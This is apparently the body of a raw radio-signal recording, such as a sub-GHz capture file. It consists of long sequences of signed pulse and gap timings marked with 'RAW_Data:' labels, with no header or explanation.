105 -370 365 -108 335 -128 351 -94 369 -98 369 -96 127 -370 329 -140 337 -126 351 -94 121 -374 101 -368 123 -352 351 -104 141 -362 105 -336 373 -108 337 -130 97 -382 93 -380 353 -104 349 -140 103 -3702 97 -394 103 -358 105 -370 327 -140 337 -126 351 -94 369 -96 369 -98 125 -368 363 -108 335 -128 351 -94 121 -374 101 -370 125 -350 351 -102 143 -362 105 -336 373 -108 337 -130 97 -382 93 -380 353 -104 349 -140 103 -3696 133 -358 101 -358 143 -334 363 -108 337 -128 351 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -338 373 -108 337 -130 97 -382 91 -380 353 -106 347 -140 103 -3706 99 -392 103 -358 107 -368 327 -140 337 -126 365 -104 361 -106 343 -102 137 -346 345 -126 337 -130 337 -126 127 -350 93 -372 129 -340 347 -124 131 -348 141 -334 365 -108 337 -128 97 -372 105 -370 365 -106 337 -128 97 -3720 133 -368 103 -360 103 -378 321 -142 339 -100 363 -92 391 -104 357 -108 105 -360 357 -106 351 -140 333 -124 107 -374 97 -362 123 -360 327 -124 143 -344 99 -362 351 -140 333 -94 125 -366 139 -336 365 -108 337 -128 97 -3718 131 -356 95 -370 129 -340 347 -124 351 -124 337 -128 337 -130 337 -126 93 -384 351 -102 337 -124 343 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 373 -106 339 -128 99 -382 91 -380 353 -106 347 -140 103 -3706 99 -392 103 -358 107 -368 327 -140 337 -126 351 -94 391 -104 357 -108 105 -360 359 -106 347 -140 331 -92 139 -342 129 -360 123 -360 327 -124 143 -342 99 -366 349 -140 333 -94 127 -366 139 -334 367 -106 337 -130 97 -3726 99 -364 137 -360 103 -378 321 -140 -RAW_Data: 341 -100 363 -92 369 -128 337 -128 95 -366 367 -92 347 -134 333 -124 143 -342 101 -364 123 -360 329 -122 141 -342 135 -332 351 -140 335 -126 95 -368 139 -334 367 -106 337 -130 97 -3716 131 -356 101 -394 105 -336 369 -106 337 -128 353 -94 369 -130 337 -128 95 -368 363 -108 337 -128 353 -92 123 -372 103 -368 125 -350 351 -104 141 -362 105 -338 373 -108 337 -130 97 -384 93 -378 353 -106 347 -140 103 -3704 99 -392 103 -358 107 -368 327 -142 335 -128 349 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 375 -106 337 -130 97 -382 93 -380 353 -106 347 -140 103 -3704 99 -394 101 -358 107 -368 329 -140 337 -128 349 -94 369 -96 369 -128 95 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 91 -380 353 -104 349 -140 105 -3696 131 -358 101 -358 143 -334 367 -108 337 -128 351 -94 369 -96 369 -130 93 -368 363 -108 337 -128 353 -94 121 -374 101 -368 125 -352 351 -138 107 -362 105 -338 373 -106 337 -130 97 -382 93 -380 353 -104 349 -140 103 -3700 131 -356 103 -356 143 -334 367 -108 339 -128 351 -94 369 -96 371 -128 93 -370 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 375 -106 337 -130 99 -382 105 -370 345 -106 339 -130 133 -3694 131 -358 103 -356 143 -332 365 -108 337 -128 353 -94 369 -128 337 -130 93 -368 363 -108 337 -128 353 -94 121 -374 101 -368 125 -352 351 -102 141 -364 103 -338 375 -106 337 -130 97 -382 93 -380 353 -106 347 -140 103 -3706 97 -394 101 -358 107 -368 329 -140 337 -128 351 -94 369 -96 371 -96 125 -370 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 375 -106 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3706 99 -392 103 -358 105 -370 327 -142 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -342 129 -362 123 -360 327 -122 121 -352 139 -334 369 -108 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3702 133 -356 103 -358 105 -370 363 -108 337 -128 351 -94 369 -128 337 -130 93 -368 365 -106 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3706 97 -394 103 -358 105 -370 327 -140 337 -128 349 -94 391 -104 359 -106 105 -362 357 -106 -RAW_Data: 349 -140 331 -124 107 -342 129 -360 125 -360 327 -122 143 -342 101 -364 351 -140 333 -126 95 -366 139 -334 367 -106 339 -128 97 -3718 131 -358 93 -370 129 -340 347 -124 353 -124 337 -128 337 -130 337 -126 127 -350 351 -102 369 -92 377 -94 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 375 -106 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3706 97 -394 103 -358 105 -370 327 -142 335 -128 349 -94 391 -104 359 -108 105 -360 357 -106 351 -138 331 -124 109 -342 129 -360 125 -358 329 -122 121 -352 125 -342 385 -104 343 -138 103 -358 105 -370 327 -140 337 -128 95 -3744 97 -350 137 -360 105 -338 375 -108 337 -130 355 -94 369 -96 369 -98 125 -368 363 -108 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -362 105 -336 375 -108 337 -130 97 -384 91 -380 353 -106 347 -140 103 -3704 133 -360 101 -358 107 -370 329 -140 337 -128 351 -94 369 -96 371 -96 125 -368 365 -106 337 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -106 339 -130 97 -382 91 -380 353 -106 349 -140 103 -3704 131 -360 103 -358 107 -368 329 -142 337 -126 351 -94 371 -96 369 -96 127 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -102 143 -362 105 -336 375 -106 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3708 99 -392 103 -358 105 -370 327 -140 337 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -342 127 -360 125 -360 327 -122 143 -344 99 -364 351 -140 333 -126 95 -366 139 -334 367 -108 337 -128 99 -3724 131 -368 103 -362 103 -378 321 -142 339 -102 361 -94 389 -106 357 -108 105 -350 343 -126 369 -98 369 -96 125 -372 93 -380 103 -394 315 -142 105 -360 105 -360 351 -104 361 -108 141 -344 95 -380 343 -126 337 -130 93 -3734 99 -392 103 -342 135 -334 353 -140 333 -126 347 -94 369 -98 369 -96 127 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -336 375 -106 337 -130 131 -350 91 -382 353 -104 349 -140 103 -3706 99 -394 101 -358 107 -368 329 -140 337 -128 351 -94 391 -104 357 -108 105 -362 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -122 145 -342 99 -364 351 -140 333 -126 95 -366 139 -334 367 -108 337 -128 97 -3720 131 -358 93 -370 129 -340 347 -124 353 -124 337 -128 339 -128 337 -126 127 -350 351 -102 369 -92 377 -94 121 -372 103 -368 91 -384 351 -104 -RAW_Data: 141 -362 105 -338 373 -108 337 -130 97 -382 93 -380 353 -106 347 -140 103 -3706 99 -372 127 -340 129 -340 347 -124 355 -140 361 -106 337 -94 357 -138 107 -344 353 -140 335 -126 349 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 93 -378 355 -104 349 -140 103 -3700 131 -356 103 -394 105 -334 367 -108 337 -128 353 -94 369 -128 337 -130 93 -368 365 -106 339 -128 353 -94 121 -372 103 -368 125 -354 349 -104 141 -362 105 -338 373 -108 339 -128 99 -380 93 -380 353 -106 349 -140 103 -3706 99 -392 103 -358 105 -370 329 -140 337 -128 351 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -122 121 -352 125 -342 385 -104 345 -138 103 -356 105 -370 327 -142 335 -128 97 -3716 129 -354 137 -360 105 -336 371 -108 337 -130 353 -94 369 -128 337 -130 93 -368 363 -108 337 -128 355 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 373 -108 337 -130 99 -382 91 -382 353 -104 349 -140 103 -3704 131 -358 101 -358 141 -334 365 -108 337 -128 351 -94 369 -130 337 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 105 -370 345 -106 371 -100 133 -3696 131 -358 101 -358 143 -334 363 -108 337 -128 353 -92 369 -128 339 -128 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 375 -108 337 -130 97 -384 91 -380 355 -104 349 -140 103 -3702 131 -358 103 -394 105 -334 367 -106 339 -128 351 -94 369 -96 371 -128 93 -368 365 -106 337 -130 351 -94 121 -374 101 -368 125 -354 351 -102 141 -364 105 -336 375 -106 337 -130 97 -384 105 -370 345 -106 371 -100 133 -3694 131 -356 103 -394 105 -334 367 -106 337 -130 353 -94 367 -130 337 -128 93 -368 367 -106 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 373 -108 337 -130 99 -382 91 -382 353 -104 349 -140 105 -3696 131 -354 103 -394 103 -336 371 -108 337 -130 353 -94 367 -130 337 -128 93 -368 367 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 373 -108 337 -130 99 -382 91 -380 353 -106 349 -140 103 -3702 133 -356 103 -358 141 -336 365 -106 337 -130 351 -94 369 -128 337 -130 93 -368 363 -108 339 -128 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 375 -106 339 -130 97 -382 93 -380 -RAW_Data: 353 -106 349 -140 103 -3706 99 -372 127 -340 129 -340 347 -124 353 -140 361 -106 337 -126 363 -104 107 -344 353 -140 335 -126 349 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 377 -106 339 -130 97 -382 93 -380 353 -106 347 -140 103 -3708 129 -340 127 -340 129 -340 347 -124 353 -140 361 -108 335 -96 393 -104 107 -342 355 -140 335 -128 349 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 91 -382 353 -104 349 -140 105 -3704 133 -360 101 -358 107 -370 363 -106 337 -128 351 -94 391 -104 359 -108 105 -360 357 -106 349 -140 331 -124 109 -374 97 -360 125 -360 325 -124 121 -352 125 -342 385 -104 345 -138 101 -360 105 -370 327 -140 337 -126 97 -3716 131 -352 137 -360 105 -336 373 -106 339 -130 353 -94 369 -98 369 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 105 -370 345 -106 373 -98 133 -3692 131 -354 101 -394 105 -336 371 -108 337 -130 353 -94 369 -96 371 -128 93 -368 365 -106 339 -128 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 339 -130 97 -382 93 -380 353 -104 349 -140 103 -3706 133 -358 103 -358 105 -370 365 -106 337 -128 351 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -376 95 -360 125 -360 327 -122 121 -356 139 -334 371 -106 339 -128 99 -382 105 -370 345 -106 339 -132 133 -3696 131 -358 101 -358 141 -336 367 -106 337 -128 353 -92 371 -96 369 -130 93 -368 363 -108 337 -130 351 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 375 -106 337 -130 131 -348 93 -380 353 -106 351 -140 103 -3702 131 -358 103 -394 105 -334 367 -108 337 -128 351 -94 369 -130 337 -128 93 -368 363 -108 337 -130 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -106 339 -130 129 -350 91 -382 353 -104 349 -140 105 -3706 131 -358 101 -358 143 -334 363 -108 337 -128 353 -94 369 -96 371 -128 93 -368 365 -106 337 -130 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 375 -106 339 -130 129 -350 105 -368 347 -106 373 -98 135 -3698 131 -340 129 -338 129 -340 347 -124 355 -140 359 -108 337 -126 363 -104 107 -344 353 -140 335 -126 349 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -338 373 -108 337 -130 131 -348 93 -380 353 -104 349 -142 103 -3704 131 -358 103 -358 141 -336 -RAW_Data: 363 -108 337 -128 353 -94 369 -128 337 -130 93 -368 365 -108 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 99 -382 93 -380 353 -104 349 -140 105 -3704 133 -360 101 -358 107 -370 363 -106 337 -128 351 -94 369 -98 369 -128 95 -368 363 -108 337 -130 351 -94 121 -374 101 -368 125 -354 351 -102 141 -364 105 -336 375 -106 339 -130 129 -350 93 -380 353 -106 349 -140 103 -3708 131 -360 101 -358 107 -370 329 -140 337 -128 351 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 97 -360 123 -360 327 -124 121 -354 139 -336 369 -106 339 -128 131 -350 105 -370 345 -106 373 -98 133 -3696 133 -358 101 -358 141 -336 365 -108 337 -128 351 -94 369 -128 339 -128 93 -368 365 -106 339 -128 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -106 339 -130 129 -350 93 -380 353 -106 349 -140 103 -3706 131 -358 101 -358 143 -334 363 -108 337 -128 353 -94 369 -128 339 -128 93 -368 365 -106 337 -130 353 -92 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 339 -130 97 -382 105 -370 347 -106 339 -130 133 -3696 131 -356 101 -396 105 -334 367 -108 337 -128 353 -94 391 -104 357 -108 105 -360 357 -106 351 -142 331 -124 107 -376 95 -362 123 -360 327 -124 121 -354 139 -336 369 -106 339 -128 99 -382 93 -380 353 -104 351 -138 105 -3698 131 -354 103 -394 105 -336 371 -106 339 -128 353 -94 369 -130 337 -128 93 -368 365 -106 339 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 339 -130 97 -382 105 -370 345 -106 371 -100 133 -3696 131 -358 101 -394 105 -334 367 -108 337 -130 351 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -124 107 -376 95 -360 125 -360 327 -122 121 -356 139 -334 371 -106 339 -128 99 -382 93 -380 353 -104 349 -140 105 -3704 133 -360 101 -358 107 -370 363 -108 337 -128 351 -94 369 -96 371 -128 93 -368 365 -106 337 -130 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 375 -108 337 -130 131 -350 105 -370 345 -106 371 -100 133 -3694 131 -356 101 -394 107 -334 369 -108 337 -128 353 -94 369 -128 337 -128 95 -366 367 -106 337 -130 353 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 377 -106 339 -128 99 -382 105 -370 345 -106 373 -98 133 -3690 131 -352 137 -360 105 -336 373 -108 337 -130 353 -94 369 -130 337 -128 95 -366 -RAW_Data: 367 -106 337 -130 353 -92 121 -374 103 -368 125 -354 349 -104 141 -362 105 -338 373 -108 337 -130 131 -348 105 -370 345 -106 373 -100 135 -3694 131 -356 101 -396 105 -334 369 -106 337 -130 353 -94 367 -130 337 -128 93 -368 367 -106 337 -130 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -106 339 -130 129 -350 105 -368 347 -106 373 -98 135 -3690 131 -352 137 -360 105 -336 373 -106 337 -130 355 -92 369 -130 337 -128 93 -368 365 -108 337 -130 355 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -338 375 -106 339 -128 131 -350 91 -382 353 -104 349 -140 105 -3704 133 -358 101 -358 141 -334 365 -106 339 -128 353 -92 369 -130 337 -128 95 -366 367 -106 339 -128 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -106 339 -130 129 -350 91 -382 353 -104 349 -140 105 -3704 131 -358 101 -394 107 -334 367 -106 339 -128 353 -94 369 -96 371 -96 125 -368 365 -106 339 -128 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 339 -130 131 -348 93 -380 353 -106 349 -140 103 -3708 131 -360 103 -358 105 -370 363 -108 335 -128 351 -94 391 -106 357 -108 105 -360 359 -104 351 -140 331 -124 109 -374 97 -360 123 -360 327 -124 121 -354 139 -336 369 -106 339 -130 97 -382 93 -380 353 -104 349 -140 105 -3704 133 -358 101 -358 141 -334 365 -108 337 -128 353 -94 367 -130 337 -128 93 -368 367 -106 337 -130 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -108 337 -130 131 -348 105 -368 347 -140 339 -100 135 -3694 131 -356 103 -394 105 -334 369 -106 337 -130 353 -92 369 -128 339 -128 93 -368 365 -108 337 -130 353 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 375 -108 337 -130 131 -348 93 -380 353 -104 351 -140 105 -3704 131 -356 103 -394 105 -336 365 -108 337 -128 353 -94 369 -98 369 -128 95 -368 363 -108 337 -130 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 375 -106 339 -130 131 -346 105 -370 363 -108 337 -128 95 -3744 97 -348 127 -372 95 -372 349 -122 347 -94 369 -128 337 -130 337 -126 93 -388 347 -102 335 -124 373 -96 121 -372 101 -368 123 -352 351 -104 141 -362 105 -336 375 -108 337 -130 131 -348 93 -380 353 -106 349 -142 103 -3706 131 -358 103 -356 143 -334 365 -106 337 -130 351 -94 369 -130 337 -128 93 -368 367 -108 337 -128 351 -94 121 -374 101 -370 125 -352 -RAW_Data: 351 -102 143 -362 105 -368 343 -108 337 -130 131 -348 93 -380 353 -104 351 -140 105 -3706 131 -358 103 -356 143 -334 365 -106 337 -130 351 -94 369 -130 337 -128 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 131 -348 105 -370 347 -106 371 -100 135 -3696 133 -356 103 -394 105 -336 367 -106 337 -128 353 -94 369 -128 337 -130 93 -368 363 -108 337 -128 355 -94 121 -372 103 -368 125 -352 351 -140 105 -362 105 -338 375 -106 339 -130 129 -350 91 -382 353 -104 351 -140 105 -3706 131 -358 101 -358 143 -334 363 -108 337 -128 353 -94 369 -128 339 -128 93 -368 365 -108 337 -130 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 377 -106 337 -130 131 -348 105 -370 345 -142 337 -100 135 -3694 131 -356 101 -394 105 -334 371 -106 337 -130 353 -94 369 -130 337 -128 95 -366 365 -106 339 -128 355 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 133 -346 105 -368 365 -108 335 -128 97 -3716 131 -360 93 -372 129 -338 349 -124 353 -124 339 -128 337 -128 337 -128 125 -350 351 -140 333 -92 377 -96 121 -372 101 -370 125 -350 351 -104 141 -362 105 -338 375 -106 339 -130 97 -382 93 -380 353 -106 349 -140 103 -3706 131 -340 129 -338 129 -340 347 -124 387 -104 361 -108 337 -128 363 -106 107 -342 355 -140 335 -126 349 -94 123 -372 103 -368 125 -352 351 -104 141 -362 105 -336 377 -106 337 -130 131 -350 105 -370 345 -106 373 -98 133 -3696 133 -354 103 -394 105 -336 367 -108 337 -128 353 -94 369 -130 337 -128 93 -368 367 -106 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 133 -346 105 -370 363 -108 335 -128 97 -3728 131 -368 103 -362 103 -378 321 -142 341 -100 363 -92 369 -128 337 -130 93 -368 367 -92 347 -134 335 -122 143 -342 135 -332 123 -374 317 -134 141 -344 93 -366 351 -126 337 -124 123 -344 129 -372 315 -126 355 -124 91 -3746 99 -382 95 -370 97 -372 347 -124 347 -94 391 -104 359 -108 335 -124 145 -340 347 -106 339 -130 359 -92 139 -342 129 -358 125 -340 349 -134 103 -396 105 -336 367 -108 337 -130 97 -382 91 -382 353 -104 349 -140 103 -3702 131 -354 103 -394 105 -334 371 -108 337 -130 353 -94 369 -130 337 -128 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -370 343 -108 337 -130 97 -384 -RAW_Data: 91 -380 355 -104 349 -140 103 -3706 131 -358 103 -358 141 -336 363 -108 337 -130 351 -94 369 -130 337 -128 93 -368 367 -106 337 -128 355 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 375 -108 337 -130 129 -350 91 -382 353 -104 351 -140 105 -3708 131 -360 103 -358 105 -370 363 -108 335 -128 351 -94 369 -130 337 -128 95 -368 363 -108 337 -128 355 -92 123 -374 101 -368 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 133 -346 105 -370 363 -108 337 -128 95 -3728 131 -368 105 -360 103 -380 321 -124 359 -104 335 -124 373 -94 371 -96 123 -368 343 -124 357 -104 335 -124 123 -356 139 -336 127 -356 349 -140 105 -362 105 -370 343 -106 339 -130 131 -346 105 -370 365 -106 337 -128 97 -3718 133 -352 135 -360 105 -336 373 -108 337 -130 355 -94 389 -104 359 -106 105 -362 357 -106 351 -140 333 -124 107 -374 97 -362 123 -360 327 -124 121 -354 139 -336 369 -106 339 -130 131 -348 93 -380 353 -106 349 -140 103 -3698 131 -350 137 -360 105 -336 377 -106 339 -128 355 -94 369 -128 339 -128 93 -368 363 -108 337 -130 355 -92 123 -372 103 -368 125 -352 353 -104 141 -362 105 -336 375 -108 339 -128 99 -382 91 -380 353 -106 349 -140 103 -3704 131 -356 103 -394 105 -336 367 -108 337 -128 353 -94 369 -128 337 -130 93 -368 365 -106 339 -128 355 -94 121 -374 101 -368 125 -354 351 -102 141 -364 105 -336 377 -106 337 -130 131 -348 93 -380 353 -106 349 -142 103 -3708 131 -360 103 -358 107 -368 363 -108 337 -128 351 -94 391 -104 357 -108 105 -360 357 -106 351 -140 333 -124 107 -376 97 -360 123 -360 327 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -108 337 -128 97 -3750 99 -360 93 -392 101 -356 357 -106 351 -142 333 -122 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 107 -376 97 -360 125 -360 327 -122 121 -356 139 -334 371 -106 339 -128 131 -350 91 -382 353 -104 349 -140 105 -3706 131 -358 103 -356 143 -334 367 -106 339 -128 351 -94 369 -130 337 -128 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 131 -348 93 -380 353 -106 349 -140 105 -3702 131 -356 101 -396 105 -334 371 -106 337 -130 353 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 377 -106 337 -130 131 -348 93 -380 353 -106 351 -140 103 -3706 133 -356 103 -358 -RAW_Data: 141 -334 367 -108 337 -128 351 -94 369 -130 337 -128 93 -368 367 -106 337 -130 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -108 337 -130 131 -346 105 -370 363 -108 337 -128 97 -3748 97 -362 93 -370 129 -340 347 -126 355 -124 337 -128 337 -130 337 -126 127 -348 351 -140 333 -94 377 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 373 -108 337 -130 99 -382 91 -382 353 -104 349 -140 105 -3704 133 -356 103 -394 105 -334 367 -108 337 -128 353 -94 369 -128 337 -130 93 -368 365 -106 339 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 133 -346 105 -370 363 -106 339 -128 97 -3722 133 -370 105 -360 103 -380 321 -140 341 -102 363 -92 369 -128 337 -128 95 -366 367 -92 347 -136 333 -124 141 -342 135 -334 123 -374 317 -134 141 -344 93 -366 343 -128 337 -128 125 -348 125 -372 317 -134 333 -124 143 -3710 99 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -128 335 -126 125 -350 347 -134 331 -124 339 -126 123 -372 101 -366 93 -396 331 -132 103 -358 143 -334 365 -108 337 -128 97 -374 141 -334 365 -106 339 -128 97 -3720 131 -374 103 -362 103 -380 357 -106 341 -102 361 -94 367 -130 337 -128 93 -368 367 -92 347 -136 333 -124 141 -342 135 -334 123 -374 317 -134 141 -344 93 -366 351 -126 335 -126 123 -344 129 -372 315 -126 355 -124 91 -3748 99 -382 95 -370 97 -372 347 -124 347 -94 369 -128 339 -128 337 -126 95 -384 349 -102 337 -124 373 -94 123 -372 101 -368 123 -352 351 -140 105 -362 105 -370 343 -106 339 -130 131 -346 105 -368 365 -108 337 -128 95 -3728 131 -368 105 -360 103 -380 355 -106 343 -100 363 -92 369 -128 337 -130 93 -368 367 -92 347 -134 333 -124 143 -342 135 -332 123 -372 319 -134 139 -344 95 -366 343 -128 337 -128 127 -344 125 -374 317 -134 333 -124 123 -3722 99 -386 95 -370 97 -372 347 -124 349 -126 359 -104 359 -106 337 -124 145 -340 347 -106 339 -130 359 -94 139 -342 127 -360 125 -338 349 -134 103 -396 105 -336 369 -106 339 -128 99 -380 93 -380 353 -106 349 -140 103 -3706 131 -358 101 -396 105 -334 367 -106 337 -130 353 -94 369 -128 337 -130 93 -368 365 -106 337 -130 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 377 -106 337 -130 131 -348 105 -370 363 -106 339 -128 95 -3750 99 -360 93 -390 103 -356 357 -106 351 -142 331 -124 361 -104 357 -108 -RAW_Data: 105 -398 319 -142 319 -142 333 -122 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 369 -108 337 -130 131 -348 93 -380 353 -104 351 -142 103 -3698 133 -352 135 -360 105 -336 375 -106 339 -128 355 -94 369 -128 337 -130 93 -368 365 -106 339 -128 355 -94 121 -374 101 -368 125 -354 351 -138 105 -364 105 -336 377 -106 339 -128 131 -350 91 -380 355 -104 351 -140 105 -3706 131 -358 101 -358 141 -336 365 -108 337 -128 353 -94 369 -128 339 -128 93 -368 365 -108 337 -128 355 -92 121 -374 101 -370 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 133 -346 105 -370 363 -108 337 -128 95 -3720 133 -358 93 -392 101 -358 355 -106 353 -140 331 -124 359 -106 357 -108 105 -398 319 -142 317 -142 333 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -332 351 -140 333 -126 95 -368 141 -334 367 -106 337 -130 97 -3722 133 -358 93 -392 101 -356 357 -106 351 -140 331 -124 359 -106 357 -108 105 -398 319 -142 319 -140 333 -124 109 -374 99 -360 125 -360 327 -122 143 -344 99 -366 351 -140 333 -126 95 -368 139 -334 367 -108 337 -130 129 -3694 131 -372 103 -360 103 -382 321 -124 359 -104 337 -122 343 -126 369 -96 125 -366 343 -126 355 -104 337 -124 121 -356 141 -334 127 -356 349 -140 105 -364 103 -370 343 -108 337 -130 131 -346 107 -368 365 -108 337 -128 97 -3750 97 -362 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 105 -398 319 -142 317 -142 333 -124 107 -376 97 -362 123 -360 327 -124 121 -354 139 -336 371 -106 339 -128 99 -382 93 -380 353 -104 349 -140 105 -3706 133 -358 101 -358 141 -336 365 -106 339 -128 351 -94 369 -130 337 -128 93 -368 365 -106 339 -128 355 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 377 -106 337 -130 131 -348 105 -370 363 -106 337 -128 97 -3750 99 -360 93 -390 101 -394 321 -106 351 -142 333 -122 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 109 -374 97 -360 125 -360 327 -122 121 -356 139 -336 369 -108 337 -130 97 -382 107 -370 345 -106 371 -100 133 -3698 131 -342 129 -338 129 -340 347 -124 385 -106 359 -108 337 -128 351 -94 141 -340 371 -106 339 -128 357 -92 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -130 131 -346 105 -370 363 -108 337 -128 97 -3722 133 -372 103 -362 103 -380 355 -106 341 -102 361 -94 367 -130 337 -128 95 -368 365 -94 347 -134 335 -122 143 -342 135 -332 -RAW_Data: 123 -372 317 -136 139 -346 93 -368 343 -128 337 -126 127 -346 125 -372 317 -134 335 -122 123 -3724 99 -384 95 -370 97 -372 347 -124 349 -126 359 -104 359 -108 335 -124 145 -342 347 -106 339 -130 359 -92 141 -340 129 -360 123 -340 349 -132 105 -396 105 -336 369 -106 337 -130 97 -382 93 -380 353 -104 349 -140 105 -3706 131 -356 103 -394 105 -334 369 -106 337 -130 353 -94 369 -130 337 -128 93 -368 365 -108 337 -128 355 -94 121 -374 101 -368 125 -354 351 -138 105 -364 105 -336 377 -106 339 -128 131 -350 105 -368 347 -140 337 -100 135 -3698 131 -356 103 -394 105 -336 367 -106 337 -130 353 -94 369 -128 337 -128 95 -366 367 -106 339 -128 355 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -338 375 -106 337 -130 133 -346 105 -370 363 -108 337 -126 97 -3722 131 -360 91 -392 101 -358 357 -106 351 -138 333 -124 359 -104 359 -108 105 -398 319 -140 319 -142 335 -122 109 -374 97 -362 123 -360 327 -124 143 -342 101 -366 351 -140 333 -126 95 -368 139 -334 367 -106 339 -128 131 -3692 131 -372 105 -360 103 -382 321 -124 359 -104 337 -122 343 -126 369 -96 125 -366 343 -126 357 -104 335 -124 123 -356 139 -334 127 -356 349 -140 105 -362 105 -370 343 -108 337 -132 131 -346 105 -370 365 -106 337 -128 97 -3718 131 -352 137 -360 105 -336 377 -106 339 -128 355 -94 369 -128 339 -128 93 -368 365 -108 337 -128 355 -94 121 -374 101 -368 125 -354 349 -140 105 -364 105 -336 377 -106 337 -130 131 -346 107 -368 365 -106 337 -128 97 -3724 131 -372 105 -360 103 -380 321 -142 341 -100 363 -92 369 -128 339 -128 93 -368 367 -92 347 -136 333 -124 141 -342 135 -332 123 -374 319 -134 139 -344 95 -366 343 -128 337 -128 125 -346 125 -374 317 -134 333 -124 123 -3722 99 -386 93 -372 97 -372 345 -126 349 -126 359 -104 359 -106 337 -124 143 -342 347 -106 373 -98 359 -94 139 -340 129 -360 123 -340 349 -132 105 -396 105 -336 369 -106 337 -130 97 -384 91 -380 355 -104 349 -140 103 -3700 131 -350 137 -360 105 -336 375 -106 339 -130 355 -94 369 -128 337 -130 93 